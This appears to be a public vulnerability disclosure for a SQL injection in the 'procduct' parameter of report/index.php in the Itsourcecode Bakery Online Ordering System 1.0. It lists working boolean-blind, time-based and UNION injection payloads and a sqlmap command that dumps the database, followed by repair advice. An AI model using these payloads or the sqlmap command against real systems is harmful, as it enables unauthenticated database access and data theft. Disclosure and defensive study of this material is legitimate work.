Skip to content

Latest commit

 

History

History
77 lines (66 loc) · 4.67 KB

03_06_2024_b.md

File metadata and controls

77 lines (66 loc) · 4.67 KB

Itsourcecode Bakery Online Ordering System Using PHP and MySQL Database 1.0 report/index.php SQL injection

NAME OF AFFECTED PRODUCT(S)

  • Bakery Online Ordering System Using PHP and MySQL Database

Vendor Homepage

AFFECTED AND/OR FIXED VERSION(S)

submitter

  • N3xu5Cr4ck37

Vulnerable File

  • report/index.php

VERSION(S)

  • V1.0

Software Link

PROBLEM TYPE

Vulnerability Type

  • SQL injection

Root Cause

  • A SQL injection vulnerability was found in the 'report/index.php' file of the 'Bakery Online Ordering System Using PHP and MySQL Database' project. The reason for this issue is that attackers inject malicious code from the parameter "procduct" and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact

  • Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

  • During the security review of "Bakery Online Ordering System Using PHP and MySQL Database", N3xu5Cr4ck37 discovered a critical SQL injection vulnerability in the "report/index.php" file. This vulnerability stems from insufficient user input validation of the 'procduct' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Vulnerability type:

  • boolean-based blind
  • time-based blind
  • UNION query

Vulnerability location:

  • 'procduct' parameter

Payload:

    procduct=-6813' OR 5515=5515-- VJOV&category=9&start=&end=&search=

    procduct=222' AND (SELECT 2538 FROM (SELECT(SLEEP(5)))NEax)-- tobu&category=9&start=&end=&search=

    procduct=222' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a787171,0x555170497465657470746945716a656245476f566f45596575796d44596a55644a4861686c5a6472,0x7170767a71)-- -&category=9&start=&end=&search=
    Parameter: procduct (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: procduct=-6813' OR 5515=5515-- VJOV&category=9&start=&end=&search=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: procduct=222' AND (SELECT 2538 FROM (SELECT(SLEEP(5)))NEax)-- tobu&category=9&start=&end=&search=

    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: procduct=222' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a787171,0x555170497465657470746945716a656245476f566f45596575796d44596a55644a4861686c5a6472,0x7170767a71)-- -&category=9&start=&end=&search=
  • 1

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

    python sqlmap.py -u "http://localhost:8101/admin/modules/report/index.php" --data="procduct=222&category=9&start=&end=&search=" --method=POST --dbms=mysql --level=5 --risk=3 --batch --dbs --dump
  • 2

  • 3

  • 4

Suggested repair

  1. Use prepared statements and parameter binding: Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

  2. Input validation and filtering: Strictly validate and filter user input data to ensure it conforms to the expected format.

  3. Minimize database user permissions: Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.

  4. Regular security audits: Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.